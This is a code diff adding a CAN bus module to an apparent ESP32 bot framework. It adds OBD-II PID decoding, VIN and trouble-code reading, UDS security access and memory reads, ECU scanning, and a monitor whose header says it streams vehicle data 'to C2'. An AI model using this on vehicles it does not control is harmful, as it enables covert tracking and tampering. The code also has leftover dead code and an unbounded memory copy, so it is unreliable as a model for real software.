static float decode_a(const uint8_t *d, int len) { if (len < 1) return 0.0f; return (float)d[0]; }
|
||||
static float decode_a_minus_40(const uint8_t *d, int len) { if (len < 1) return 0.0f; return (float)d[0] - 40.0f; }
|
||||
static float decode_a_percent(const uint8_t *d, int len) { if (len < 1) return 0.0f; return (float)d[0] * 100.0f / 255.0f; }
|
||||
static float decode_ab(const uint8_t *d, int len) { if (len < 2) return 0.0f; return (float)((d[0] << 8) | d[1]); }
|
||||
static float decode_ab_div_4(const uint8_t *d, int len) { if (len < 2) return 0.0f; return (float)((d[0] << 8) | d[1]) / 4.0f; }
|
||||
static float decode_a_div_2_m64(const uint8_t *d, int len) { if (len < 1) return 0.0f; return (float)d[0] / 2.0f - 64.0f; }
|
||||
static float decode_ab_div_100(const uint8_t *d, int len) { if (len < 2) return 0.0f; return (float)((d[0] << 8) | d[1]) / 100.0f; }
|
||||
static float decode_a_x3(const uint8_t *d, int len) { if (len < 1) return 0.0f; return (float)d[0] * 3.0f; }
|
||||
static float decode_ab_div_20(const uint8_t *d, int len) { if (len < 2) return 0.0f; return (float)((d[0] << 8) | d[1]) / 20.0f; }
|
||||
static float decode_signed_a_minus_128(const uint8_t *d, int len) { if (len < 1) return 0.0f; return (float)d[0] - 128.0f; }
|
||||
|
||||
static const pid_decoder_t s_pid_table[] = {
|
||||
/* PID Name Unit Bytes Decoder */
|
||||
{ 0x04, "Engine Load", "%", 1, decode_a_percent },
|
||||
{ 0x05, "Coolant Temp", "C", 1, decode_a_minus_40 },
|
||||
{ 0x06, "Short Fuel Trim B1", "%", 1, decode_signed_a_minus_128 },
|
||||
{ 0x07, "Long Fuel Trim B1", "%", 1, decode_signed_a_minus_128 },
|
||||
{ 0x0B, "Intake MAP", "kPa", 1, decode_a },
|
||||
{ 0x0C, "Engine RPM", "rpm", 2, decode_ab_div_4 },
|
||||
{ 0x0D, "Vehicle Speed", "km/h", 1, decode_a },
|
||||
{ 0x0E, "Timing Advance", "deg", 1, decode_a_div_2_m64 },
|
||||
{ 0x0F, "Intake Temp", "C", 1, decode_a_minus_40 },
|
||||
{ 0x10, "MAF Rate", "g/s", 2, decode_ab_div_100 },
|
||||
{ 0x11, "Throttle Position", "%", 1, decode_a_percent },
|
||||
{ 0x1C, "OBD Standard", "", 1, decode_a },
|
||||
{ 0x1F, "Engine Runtime", "s", 2, decode_ab },
|
||||
{ 0x21, "Distance w/ MIL", "km", 2, decode_ab },
|
||||
{ 0x2C, "Commanded EGR", "%", 1, decode_a_percent },
|
||||
{ 0x2F, "Fuel Level", "%", 1, decode_a_percent },
|
||||
{ 0x30, "Warmups since DTC clear", "", 1, decode_a },
|
||||
{ 0x31, "Distance since DTC clear", "km", 2, decode_ab },
|
||||
{ 0x33, "Baro Pressure", "kPa", 1, decode_a },
|
||||
{ 0x42, "Control Module Voltage", "V", 2, decode_ab_div_100 }, /* Approx */
|
||||
{ 0x45, "Relative Throttle", "%", 1, decode_a_percent },
|
||||
{ 0x46, "Ambient Temp", "C", 1, decode_a_minus_40 },
|
||||
{ 0x49, "Accelerator Position D", "%", 1, decode_a_percent },
|
||||
{ 0x4A, "Accelerator Position E", "%", 1, decode_a_percent },
|
||||
{ 0x4C, "Commanded Throttle", "%", 1, decode_a_percent },
|
||||
{ 0x5C, "Oil Temp", "C", 1, decode_a_minus_40 },
|
||||
{ 0x5E, "Fuel Rate", "L/h", 2, decode_ab_div_20 },
|
||||
{ 0x67, "Coolant Temp (wide)", "C", 1, decode_a_minus_40 }, /* First byte only */
|
||||
{ 0xA6, "Odometer", "km", 2, decode_ab }, /* Simplified */
|
||||
};
|
||||
|
||||
#define PID_TABLE_SIZE (sizeof(s_pid_table) / sizeof(s_pid_table[0]))
|
||||
|
||||
/* Find decoder for a PID */
|
||||
static const pid_decoder_t *find_pid(uint8_t pid)
|
||||
{
|
||||
for (int i = 0; i < (int)PID_TABLE_SIZE; i++) {
|
||||
if (s_pid_table[i].pid == pid) return &s_pid_table[i];
|
||||
}
|
||||
return NULL;
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* OBD-II Communication (via ISO-TP)
|
||||
* ============================================================ */
|
||||
|
||||
/* Send OBD request and receive response */
|
||||
static int obd_transact(uint8_t mode, uint8_t pid,
|
||||
uint8_t *resp, size_t resp_cap, size_t *resp_len)
|
||||
{
|
||||
uint8_t req[2] = { mode, pid };
|
||||
|
||||
/* Use functional broadcast (0x7DF) for Mode 01/03/09 */
|
||||
/* Listen on first responder (0x7E8) — most vehicles respond here */
|
||||
isotp_status_t st = isotp_request(
|
||||
OBD_REQUEST_ID, OBD_RESPONSE_MIN,
|
||||
req, 2,
|
||||
resp, resp_cap, resp_len,
|
||||
2000
|
||||
);
|
||||
|
||||
return (st == ISOTP_OK) ? 0 : -1;
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* Public API
|
||||
* ============================================================ */
|
||||
|
||||
int obd_query_pid(uint8_t mode, uint8_t pid, obd_result_t *out)
|
||||
{
|
||||
if (!out) return -1;
|
||||
memset(out, 0, sizeof(*out));
|
||||
|
||||
uint8_t resp[16];
|
||||
size_t resp_len = 0;
|
||||
|
||||
if (obd_transact(mode, pid, resp, sizeof(resp), &resp_len) < 0) {
|
||||
return -1;
|
||||
}
|
||||
|
||||
/* Response: mode+0x40, PID, data bytes */
|
||||
if (resp_len < 2 || resp[0] != (mode + 0x40) || resp[1] != pid) {
|
||||
return -1;
|
||||
}
|
||||
|
||||
out->pid = pid;
|
||||
|
||||
/* Try to decode with known PID table */
|
||||
const pid_decoder_t *dec = find_pid(pid);
|
||||
if (dec) {
|
||||
out->name = dec->name;
|
||||
out->unit = dec->unit;
|
||||
int data_offset = 2; /* After mode+0x40 and PID */
|
||||
int data_avail = (int)resp_len - data_offset;
|
||||
if (data_avail >= dec->data_bytes) {
|
||||
out->value = dec->decode(&resp[data_offset], data_avail);
|
||||
}
|
||||
} else {
|
||||
out->name = "Unknown";
|
||||
out->unit = "";
|
||||
out->value = (resp_len > 2) ? (float)resp[2] : 0;
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
int obd_query_supported(uint8_t pids_out[], int max_pids)
|
||||
{
|
||||
int total = 0;
|
||||
uint8_t resp[16];
|
||||
size_t resp_len = 0;
|
||||
|
||||
/* PID 00: supported PIDs 01-20 */
|
||||
/* PID 20: supported PIDs 21-40 */
|
||||
/* PID 40: supported PIDs 41-60 */
|
||||
/* PID 60: supported PIDs 61-80 */
|
||||
|
||||
uint8_t range_pids[] = { 0x00, 0x20, 0x40, 0x60 };
|
||||
|
||||
for (int r = 0; r < 4; r++) {
|
||||
if (obd_transact(0x01, range_pids[r], resp, sizeof(resp), &resp_len) < 0) {
|
||||
break;
|
||||
}
|
||||
|
||||
if (resp_len < 6 || resp[0] != 0x41 || resp[1] != range_pids[r]) {
|
||||
break;
|
||||
}
|
||||
|
||||
/* 4 bytes = 32 bits, each bit = supported PID */
|
||||
uint32_t bitmap = ((uint32_t)resp[2] << 24)
|
||||
| ((uint32_t)resp[3] << 16)
|
||||
| ((uint32_t)resp[4] << 8)
|
||||
| (uint32_t)resp[5];
|
||||
|
||||
for (int bit = 0; bit < 32 && total < max_pids; bit++) {
|
||||
if (bitmap & (1U << (31 - bit))) {
|
||||
pids_out[total++] = range_pids[r] + bit + 1;
|
||||
}
|
||||
}
|
||||
|
||||
/* If last PID in range is not supported, no point checking next range */
|
||||
if (!(bitmap & 0x01)) break;
|
||||
}
|
||||
|
||||
return total;
|
||||
}
|
||||
|
||||
int obd_read_vin(char *vin_out, size_t cap)
|
||||
{
|
||||
if (!vin_out || cap < 18) return -1;
|
||||
|
||||
uint8_t req[2] = { 0x09, 0x02 }; /* Mode 09, PID 02 = VIN */
|
||||
uint8_t resp[64];
|
||||
size_t resp_len = 0;
|
||||
|
||||
isotp_status_t st = isotp_request(
|
||||
OBD_REQUEST_ID, OBD_RESPONSE_MIN,
|
||||
req, 2,
|
||||
resp, sizeof(resp), &resp_len,
|
||||
3000
|
||||
);
|
||||
|
||||
if (st != ISOTP_OK) return -1;
|
||||
|
||||
/* Response: 0x49, 0x02, count, VIN (17 ASCII chars) */
|
||||
if (resp_len < 20 || resp[0] != 0x49 || resp[1] != 0x02) {
|
||||
return -1;
|
||||
}
|
||||
|
||||
/* VIN starts at offset 3 (after 0x49, 0x02, count) */
|
||||
int vin_start = 3;
|
||||
int vin_len = (int)resp_len - vin_start;
|
||||
if (vin_len > 17) vin_len = 17;
|
||||
if (vin_len > (int)cap - 1) vin_len = (int)cap - 1;
|
||||
|
||||
memcpy(vin_out, &resp[vin_start], vin_len);
|
||||
vin_out[vin_len] = '\0';
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
int obd_read_dtcs(char *dtc_buf, size_t cap)
|
||||
{
|
||||
uint8_t req[1] = { 0x03 }; /* Mode 03: Request DTCs */
|
||||
uint8_t resp[128];
|
||||
size_t resp_len = 0;
|
||||
|
||||
isotp_status_t st = isotp_request(
|
||||
OBD_REQUEST_ID, OBD_RESPONSE_MIN,
|
||||
req, 1,
|
||||
resp, sizeof(resp), &resp_len,
|
||||
3000
|
||||
);
|
||||
|
||||
if (st != ISOTP_OK || resp_len < 1 || resp[0] != 0x43) {
|
||||
snprintf(dtc_buf, cap, "No DTCs or read error");
|
||||
return -1;
|
||||
}
|
||||
|
||||
int num_dtcs = resp[1]; /* Number of DTCs */
|
||||
if (num_dtcs == 0) {
|
||||
snprintf(dtc_buf, cap, "No DTCs stored");
|
||||
return 0;
|
||||
}
|
||||
|
||||
int off = 0;
|
||||
off += snprintf(dtc_buf + off, cap - off, "DTCs (%d): ", num_dtcs);
|
||||
|
||||
/* Each DTC is 2 bytes, starting at offset 2 */
|
||||
static const char dtc_prefixes[] = { 'P', 'C', 'B', 'U' };
|
||||
|
||||
for (int i = 0; i < num_dtcs && (2 + i * 2 + 1) < (int)resp_len; i++) {
|
||||
uint16_t raw = (resp[2 + i * 2] << 8) | resp[2 + i * 2 + 1];
|
||||
|
||||
char prefix = dtc_prefixes[(raw >> 14) & 0x03];
|
||||
int code = raw & 0x3FFF;
|
||||
|
||||
off += snprintf(dtc_buf + off, cap - off, "%c%04X ", prefix, code);
|
||||
if (off >= (int)cap - 8) break;
|
||||
}
|
||||
|
||||
return off;
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* Continuous Monitoring
|
||||
* ============================================================ */
|
||||
|
||||
static volatile bool s_monitor_running = false;
|
||||
static TaskHandle_t s_monitor_task = NULL;
|
||||
static uint8_t s_monitor_pids[16];
|
||||
static int s_monitor_pid_count = 0;
|
||||
static int s_monitor_interval = 1000;
|
||||
static const char *s_monitor_req_id = NULL;
|
||||
static SemaphoreHandle_t s_mon_mutex = NULL;
|
||||
|
||||
static void monitor_task(void *arg)
|
||||
{
|
||||
(void)arg;
|
||||
ESP_LOGI(TAG, "OBD monitor started: %d PIDs, %d ms interval",
|
||||
s_monitor_pid_count, s_monitor_interval);
|
||||
|
||||
while (s_monitor_running) {
|
||||
for (int i = 0; i < s_monitor_pid_count && s_monitor_running; i++) {
|
||||
obd_result_t result;
|
||||
if (obd_query_pid(0x01, s_monitor_pids[i], &result) == 0) {
|
||||
char line[96];
|
||||
snprintf(line, sizeof(line), "OBD|%s|%.1f|%s",
|
||||
result.name, result.value, result.unit);
|
||||
msg_data(TAG, line, strlen(line), false, s_monitor_req_id);
|
||||
}
|
||||
}
|
||||
vTaskDelay(pdMS_TO_TICKS(s_monitor_interval));
|
||||
}
|
||||
|
||||
ESP_LOGI(TAG, "OBD monitor stopped");
|
||||
s_monitor_task = NULL;
|
||||
vTaskDelete(NULL);
|
||||
}
|
||||
|
||||
void obd_monitor_start(const uint8_t *pids, int pid_count,
|
||||
int interval_ms, const char *request_id)
|
||||
{
|
||||
if (!s_mon_mutex) s_mon_mutex = xSemaphoreCreateMutex();
|
||||
xSemaphoreTake(s_mon_mutex, portMAX_DELAY);
|
||||
|
||||
if (s_monitor_running) {
|
||||
xSemaphoreGive(s_mon_mutex);
|
||||
obd_monitor_stop();
|
||||
xSemaphoreTake(s_mon_mutex, portMAX_DELAY);
|
||||
}
|
||||
|
||||
if (pid_count > 16) pid_count = 16;
|
||||
memcpy(s_monitor_pids, pids, pid_count);
|
||||
s_monitor_pid_count = pid_count;
|
||||
s_monitor_interval = (interval_ms > 0) ? interval_ms : 1000;
|
||||
s_monitor_req_id = request_id;
|
||||
s_monitor_running = true;
|
||||
|
||||
xTaskCreatePinnedToCore(
|
||||
monitor_task, "obd_mon", 4096, NULL, 3, &s_monitor_task, 1
|
||||
);
|
||||
|
||||
xSemaphoreGive(s_mon_mutex);
|
||||
}
|
||||
|
||||
void obd_monitor_stop(void)
|
||||
{
|
||||
if (!s_mon_mutex) s_mon_mutex = xSemaphoreCreateMutex();
|
||||
xSemaphoreTake(s_mon_mutex, portMAX_DELAY);
|
||||
s_monitor_running = false;
|
||||
xSemaphoreGive(s_mon_mutex);
|
||||
|
||||
for (int i = 0; i < 20 && s_monitor_task != NULL; i++) {
|
||||
vTaskDelay(pdMS_TO_TICKS(50));
|
||||
}
|
||||
}
|
||||
|
||||
bool obd_monitor_is_running(void)
|
||||
{
|
||||
return s_monitor_running;
|
||||
}
|
||||
|
||||
#endif /* CONFIG_MODULE_CANBUS && CONFIG_CANBUS_OBD */
|
||||
48
espilon_bot/components/mod_canbus/canbus_obd.h
Normal file
48
espilon_bot/components/mod_canbus/canbus_obd.h
Normal file
@ -0,0 +1,48 @@
|
||||
/*
|
||||
* canbus_obd.h
|
||||
* OBD-II (ISO 15031) PID decoder over ISO-TP.
|
||||
*/
|
||||
#pragma once
|
||||
|
||||
#include <stdint.h>
|
||||
#include <stddef.h>
|
||||
#include <stdbool.h>
|
||||
|
||||
#ifdef __cplusplus
|
||||
extern "C" {
|
||||
#endif
|
||||
|
||||
/* Standard OBD-II CAN IDs */
|
||||
#define OBD_REQUEST_ID 0x7DF /* Broadcast functional request */
|
||||
#define OBD_RESPONSE_MIN 0x7E8
|
||||
#define OBD_RESPONSE_MAX 0x7EF
|
||||
|
||||
/* Decoded PID result */
|
||||
typedef struct {
|
||||
uint8_t pid;
|
||||
float value;
|
||||
const char *unit; /* "rpm", "km/h", "C", etc. */
|
||||
const char *name; /* "Engine RPM", "Vehicle Speed", etc. */
|
||||
} obd_result_t;
|
||||
|
||||
/* Query a single PID (Mode 01). Returns 0 on success, -1 on error. */
|
||||
int obd_query_pid(uint8_t mode, uint8_t pid, obd_result_t *out);
|
||||
|
||||
/* Query supported PIDs (Mode 01, PID 00/20/40/60). Returns count. */
|
||||
int obd_query_supported(uint8_t pids_out[], int max_pids);
|
||||
|
||||
/* Read Vehicle Identification Number (Mode 09, PID 02). Returns 0 or -1. */
|
||||
int obd_read_vin(char *vin_out, size_t cap);
|
||||
|
||||
/* Read Diagnostic Trouble Codes (Mode 03). Returns formatted string length. */
|
||||
int obd_read_dtcs(char *dtc_buf, size_t cap);
|
||||
|
||||
/* Continuous monitoring: stream PIDs to C2 at interval */
|
||||
void obd_monitor_start(const uint8_t *pids, int pid_count,
|
||||
int interval_ms, const char *request_id);
|
||||
void obd_monitor_stop(void);
|
||||
bool obd_monitor_is_running(void);
|
||||
|
||||
#ifdef __cplusplus
|
||||
}
|
||||
#endif
|
||||
343
espilon_bot/components/mod_canbus/canbus_uds.c
Normal file
343
espilon_bot/components/mod_canbus/canbus_uds.c
Normal file
@ -0,0 +1,343 @@
|
||||
/*
|
||||
* canbus_uds.c
|
||||
* UDS (ISO 14229) diagnostic services implementation.
|
||||
*
|
||||
* Each function builds a UDS payload, sends via ISO-TP,
|
||||
* parses the response (positive = SID+0x40, negative = 0x7F+SID+NRC).
|
||||
* Handles NRC 0x78 (ResponsePending) with extended timeout.
|
||||
*/
|
||||
#include "sdkconfig.h"
|
||||
|
||||
#if defined(CONFIG_MODULE_CANBUS) && defined(CONFIG_CANBUS_UDS)
|
||||
|
||||
#include <string.h>
|
||||
#include "esp_log.h"
|
||||
#include "freertos/FreeRTOS.h"
|
||||
#include "freertos/task.h"
|
||||
|
||||
#include "canbus_uds.h"
|
||||
#include "canbus_isotp.h"
|
||||
#include "canbus_driver.h"
|
||||
#include "utils.h"
|
||||
|
||||
#define TAG "CAN_UDS"
|
||||
|
||||
/* Max retries for ResponsePending (NRC 0x78) */
|
||||
#define MAX_PENDING_RETRIES 10
|
||||
#define PENDING_TIMEOUT_MS 5000
|
||||
|
||||
/* ============================================================
|
||||
* Internal: UDS request with ResponsePending handling
|
||||
* ============================================================ */
|
||||
|
||||
static int uds_transact(uds_ctx_t *ctx,
|
||||
const uint8_t *req, size_t req_len,
|
||||
uint8_t *resp, size_t resp_cap, size_t *resp_len)
|
||||
{
|
||||
int timeout = ctx->timeout_ms > 0 ? ctx->timeout_ms : 2000;
|
||||
|
||||
for (int retry = 0; retry <= MAX_PENDING_RETRIES; retry++) {
|
||||
int t = (retry == 0) ? timeout : PENDING_TIMEOUT_MS;
|
||||
|
||||
isotp_status_t st = isotp_request(
|
||||
ctx->tx_id, ctx->rx_id,
|
||||
req, req_len,
|
||||
resp, resp_cap, resp_len,
|
||||
t
|
||||
);
|
||||
|
||||
if (st == ISOTP_TIMEOUT) {
|
||||
if (retry > 0) {
|
||||
ESP_LOGW(TAG, "ResponsePending timeout after %d retries", retry);
|
||||
}
|
||||
return -1;
|
||||
}
|
||||
if (st != ISOTP_OK) return -1;
|
||||
|
||||
/* Check for Negative Response */
|
||||
if (*resp_len >= 3 && resp[0] == 0x7F) {
|
||||
uint8_t nrc = resp[2];
|
||||
|
||||
/* ResponsePending — ECU needs more time */
|
||||
if (nrc == UDS_NRC_RESPONSE_PENDING) {
|
||||
ESP_LOGI(TAG, "ResponsePending from 0x%03lX (retry %d/%d)",
|
||||
(unsigned long)ctx->rx_id, retry + 1, MAX_PENDING_RETRIES);
|
||||
/* Re-listen for the real response (no re-send needed) */
|
||||
*resp_len = 0;
|
||||
isotp_status_t st2 = isotp_recv(
|
||||
ctx->rx_id, resp, resp_cap, resp_len, PENDING_TIMEOUT_MS
|
||||
);
|
||||
if (st2 == ISOTP_TIMEOUT) continue; /* Try again */
|
||||
if (st2 != ISOTP_OK) return -1;
|
||||
|
||||
/* Check if we got another NRC 0x78 or the real response */
|
||||
if (*resp_len >= 3 && resp[0] == 0x7F && resp[2] == UDS_NRC_RESPONSE_PENDING) {
|
||||
continue; /* Still pending */
|
||||
}
|
||||
/* Got the real response, fall through to return */
|
||||
}
|
||||
|
||||
/* Other negative responses */
|
||||
if (resp[0] == 0x7F && resp[2] != UDS_NRC_RESPONSE_PENDING) {
|
||||
ESP_LOGW(TAG, "NRC 0x%02X (%s) for SID 0x%02X from 0x%03lX",
|
||||
resp[2], uds_nrc_name(resp[2]), resp[1],
|
||||
(unsigned long)ctx->rx_id);
|
||||
return -1;
|
||||
}
|
||||
}
|
||||
|
||||
/* Positive response or parsed NRC */
|
||||
return (int)*resp_len;
|
||||
}
|
||||
|
||||
return -1;
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* Public API
|
||||
* ============================================================ */
|
||||
|
||||
int uds_diagnostic_session(uds_ctx_t *ctx, uint8_t session_type)
|
||||
{
|
||||
uint8_t req[2] = { UDS_DIAG_SESSION_CTRL, session_type };
|
||||
uint8_t resp[64];
|
||||
size_t resp_len = 0;
|
||||
|
||||
int ret = uds_transact(ctx, req, 2, resp, sizeof(resp), &resp_len);
|
||||
if (ret < 0) return -1;
|
||||
|
||||
/* Positive response: 0x50 + session type */
|
||||
if (resp_len >= 2 && resp[0] == (UDS_DIAG_SESSION_CTRL + 0x40)) {
|
||||
ctx->session = session_type;
|
||||
return 0;
|
||||
}
|
||||
return -1;
|
||||
}
|
||||
|
||||
int uds_tester_present(uds_ctx_t *ctx)
|
||||
{
|
||||
uint8_t req[2] = { UDS_TESTER_PRESENT, 0x00 }; /* subFunction = 0 */
|
||||
uint8_t resp[16];
|
||||
size_t resp_len = 0;
|
||||
|
||||
int ret = uds_transact(ctx, req, 2, resp, sizeof(resp), &resp_len);
|
||||
if (ret < 0) return -1;
|
||||
|
||||
if (resp_len >= 2 && resp[0] == (UDS_TESTER_PRESENT + 0x40)) {
|
||||
return 0;
|
||||
}
|
||||
return -1;
|
||||
}
|
||||
|
||||
int uds_read_data_by_id(uds_ctx_t *ctx, uint16_t did,
|
||||
uint8_t *out, size_t cap)
|
||||
{
|
||||
uint8_t req[3] = {
|
||||
UDS_READ_DATA_BY_ID,
|
||||
(uint8_t)(did >> 8),
|
||||
(uint8_t)(did & 0xFF),
|
||||
};
|
||||
uint8_t resp[512];
|
||||
size_t resp_len = 0;
|
||||
|
||||
int ret = uds_transact(ctx, req, 3, resp, sizeof(resp), &resp_len);
|
||||
if (ret < 0) return -1;
|
||||
|
||||
/* Positive: 0x62 + DID (2 bytes) + data */
|
||||
if (resp_len >= 3 && resp[0] == (UDS_READ_DATA_BY_ID + 0x40)) {
|
||||
size_t data_len = resp_len - 3;
|
||||
if (data_len > cap) data_len = cap;
|
||||
memcpy(out, &resp[3], data_len);
|
||||
return (int)data_len;
|
||||
}
|
||||
return -1;
|
||||
}
|
||||
|
||||
int uds_security_access_seed(uds_ctx_t *ctx, uint8_t level,
|
||||
uint8_t *seed, size_t *seed_len)
|
||||
{
|
||||
/* Seed request: odd subFunction (level = 0x01, 0x03, ...) */
|
||||
uint8_t req[2] = { UDS_SECURITY_ACCESS, level };
|
||||
uint8_t resp[64];
|
||||
size_t resp_len = 0;
|
||||
|
||||
int ret = uds_transact(ctx, req, 2, resp, sizeof(resp), &resp_len);
|
||||
if (ret < 0) return -1;
|
||||
|
||||
/* Positive: 0x67 + level + seed bytes */
|
||||
if (resp_len >= 2 && resp[0] == (UDS_SECURITY_ACCESS + 0x40)) {
|
||||
size_t slen = resp_len - 2;
|
||||
if (seed && seed_len) {
|
||||
memcpy(seed, &resp[2], slen);
|
||||
*seed_len = slen;
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
return -1;
|
||||
}
|
||||
|
||||
int uds_security_access_key(uds_ctx_t *ctx, uint8_t level,
|
||||
const uint8_t *key, size_t key_len)
|
||||
{
|
||||
/* Key send: even subFunction (level+1 = 0x02, 0x04, ...) */
|
||||
uint8_t req[34] = { UDS_SECURITY_ACCESS, (uint8_t)(level + 1) };
|
||||
if (key_len > 32) return -1;
|
||||
memcpy(&req[2], key, key_len);
|
||||
|
||||
uint8_t resp[16];
|
||||
size_t resp_len = 0;
|
||||
|
||||
int ret = uds_transact(ctx, req, 2 + key_len, resp, sizeof(resp), &resp_len);
|
||||
if (ret < 0) return -1;
|
||||
|
||||
if (resp_len >= 2 && resp[0] == (UDS_SECURITY_ACCESS + 0x40)) {
|
||||
ctx->security_unlocked = true;
|
||||
return 0;
|
||||
}
|
||||
return -1;
|
||||
}
|
||||
|
||||
int uds_read_memory(uds_ctx_t *ctx, uint32_t addr, uint16_t size,
|
||||
uint8_t *out)
|
||||
{
|
||||
/* addressAndLengthFormatIdentifier: 0x24 = 2 bytes size, 4 bytes addr */
|
||||
uint8_t req[7] = {
|
||||
UDS_READ_MEM_BY_ADDR,
|
||||
0x24, /* format: 2+4 */
|
||||
(uint8_t)(addr >> 24),
|
||||
(uint8_t)(addr >> 16),
|
||||
(uint8_t)(addr >> 8),
|
||||
(uint8_t)(addr),
|
||||
(uint8_t)(size >> 8),
|
||||
};
|
||||
/* Append size low byte */
|
||||
uint8_t req_full[8];
|
||||
memcpy(req_full, req, 7);
|
||||
req_full[7] = (uint8_t)(size & 0xFF);
|
||||
|
||||
/* Wait — need proper format. Let's redo:
|
||||
* SID(1) + addressAndLengthFormatId(1) + memAddr(4) + memSize(2) = 8 bytes */
|
||||
uint8_t request[8] = {
|
||||
UDS_READ_MEM_BY_ADDR,
|
||||
0x24,
|
||||
(uint8_t)(addr >> 24),
|
||||
(uint8_t)(addr >> 16),
|
||||
(uint8_t)(addr >> 8),
|
||||
(uint8_t)(addr),
|
||||
(uint8_t)(size >> 8),
|
||||
(uint8_t)(size),
|
||||
};
|
||||
|
||||
uint8_t resp[512];
|
||||
size_t resp_len = 0;
|
||||
|
||||
int ret = uds_transact(ctx, request, 8, resp, sizeof(resp), &resp_len);
|
||||
if (ret < 0) return -1;
|
||||
|
||||
/* Positive: 0x63 + data */
|
||||
if (resp_len >= 1 && resp[0] == (UDS_READ_MEM_BY_ADDR + 0x40)) {
|
||||
size_t data_len = resp_len - 1;
|
||||
if (out) memcpy(out, &resp[1], data_len);
|
||||
return (int)data_len;
|
||||
}
|
||||
return -1;
|
||||
}
|
||||
|
||||
int uds_raw_request(uds_ctx_t *ctx,
|
||||
const uint8_t *req, size_t req_len,
|
||||
uint8_t *resp, size_t resp_cap, size_t *resp_len)
|
||||
{
|
||||
return uds_transact(ctx, req, req_len, resp, resp_cap, resp_len);
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* ECU Discovery
|
||||
* ============================================================ */
|
||||
|
||||
int uds_scan_ecus(uint32_t *found_ids, int max_ecus)
|
||||
{
|
||||
int found = 0;
|
||||
|
||||
/* Standard UDS range: 0x7E0-0x7E7 (physical addressing) */
|
||||
for (uint32_t tx = 0x7E0; tx <= 0x7E7 && found < max_ecus; tx++) {
|
||||
uint32_t rx = tx + 0x08; /* Response IDs: 0x7E8-0x7EF */
|
||||
|
||||
uds_ctx_t ctx = {
|
||||
.tx_id = tx,
|
||||
.rx_id = rx,
|
||||
.timeout_ms = 200, /* Short timeout for scan */
|
||||
.session = UDS_SESSION_DEFAULT,
|
||||
.security_unlocked = false,
|
||||
};
|
||||
|
||||
if (uds_tester_present(&ctx) == 0) {
|
||||
ESP_LOGI(TAG, "ECU found: TX=0x%03lX RX=0x%03lX",
|
||||
(unsigned long)tx, (unsigned long)rx);
|
||||
found_ids[found++] = tx;
|
||||
}
|
||||
}
|
||||
|
||||
/* Extended range: 0x700-0x7DF */
|
||||
for (uint32_t tx = 0x700; tx <= 0x7DF && found < max_ecus; tx++) {
|
||||
/* Skip standard range (already scanned) */
|
||||
if (tx >= 0x7E0) break;
|
||||
|
||||
uint32_t rx = tx + 0x08;
|
||||
|
||||
uds_ctx_t ctx = {
|
||||
.tx_id = tx,
|
||||
.rx_id = rx,
|
||||
.timeout_ms = 100,
|
||||
.session = UDS_SESSION_DEFAULT,
|
||||
.security_unlocked = false,
|
||||
};
|
||||
|
||||
if (uds_tester_present(&ctx) == 0) {
|
||||
ESP_LOGI(TAG, "ECU found: TX=0x%03lX RX=0x%03lX",
|
||||
(unsigned long)tx, (unsigned long)rx);
|
||||
found_ids[found++] = tx;
|
||||
}
|
||||
|
||||
/* Yield every 16 IDs to avoid watchdog */
|
||||
if ((tx & 0x0F) == 0x0F) {
|
||||
vTaskDelay(pdMS_TO_TICKS(1));
|
||||
}
|
||||
}
|
||||
|
||||
return found;
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* NRC Name Lookup
|
||||
* ============================================================ */
|
||||
|
||||
const char *uds_nrc_name(uint8_t nrc)
|
||||
{
|
||||
switch (nrc) {
|
||||
case 0x10: return "generalReject";
|
||||
case 0x11: return "serviceNotSupported";
|
||||
case 0x12: return "subFunctionNotSupported";
|
||||
case 0x13: return "incorrectMessageLength";
|
||||
case 0x14: return "responseTooLong";
|
||||
case 0x21: return "busyRepeatRequest";
|
||||
case 0x22: return "conditionsNotCorrect";
|
||||
case 0x24: return "requestSequenceError";
|
||||
case 0x25: return "noResponseFromSubnet";
|
||||
case 0x26: return "failurePreventsExecution";
|
||||
case 0x31: return "requestOutOfRange";
|
||||
case 0x33: return "securityAccessDenied";
|
||||
case 0x35: return "invalidKey";
|
||||
case 0x36: return "exceededNumberOfAttempts";
|
||||
case 0x37: return "requiredTimeDelayNotExpired";
|
||||
case 0x70: return "uploadDownloadNotAccepted";
|
||||
case 0x71: return "transferDataSuspended";
|
||||
case 0x72: return "generalProgrammingFailure";
|
||||
case 0x73: return "wrongBlockSequenceCounter";
|
||||
case 0x78: return "responsePending";
|
||||
case 0x7E: return "subFunctionNotSupportedInActiveSession";
|
||||
case 0x7F: return "serviceNotSupportedInActiveSession";
|
||||
default: return "unknown";
|
||||
}
|
||||
}
|
||||
|
||||
#endif /* CONFIG_MODULE_CANBUS && CONFIG_CANBUS_UDS */
|
||||
101
espilon_bot/components/mod_canbus/canbus_uds.h
Normal file
101
espilon_bot/components/mod_canbus/canbus_uds.h
Normal file
@ -0,0 +1,101 @@
|
||||
/*
|
||||
* canbus_uds.h
|
||||
* UDS (ISO 14229) diagnostic services over ISO-TP.
|
||||
*/
|
||||
#pragma once
|
||||
|
||||
#include <stdint.h>
|
||||
#include <stddef.h>
|
||||
|
||||
#ifdef __cplusplus
|
||||
extern "C" {
|
||||
#endif
|
||||
|
||||
/* ============================================================
|
||||
* UDS Service IDs
|
||||
* ============================================================ */
|
||||
#define UDS_DIAG_SESSION_CTRL 0x10
|
||||
#define UDS_ECU_RESET 0x11
|
||||
#define UDS_CLEAR_DTC 0x14
|
||||
#define UDS_READ_DTC_INFO 0x19
|
||||
#define UDS_READ_DATA_BY_ID 0x22
|
||||
#define UDS_READ_MEM_BY_ADDR 0x23
|
||||
#define UDS_SECURITY_ACCESS 0x27
|
||||
#define UDS_COMM_CTRL 0x28
|
||||
#define UDS_WRITE_DATA_BY_ID 0x2E
|
||||
#define UDS_IO_CTRL 0x2F
|
||||
#define UDS_ROUTINE_CTRL 0x31
|
||||
#define UDS_REQUEST_DOWNLOAD 0x34
|
||||
#define UDS_REQUEST_UPLOAD 0x35
|
||||
#define UDS_TRANSFER_DATA 0x36
|
||||
#define UDS_TRANSFER_EXIT 0x37
|
||||
#define UDS_TESTER_PRESENT 0x3E
|
||||
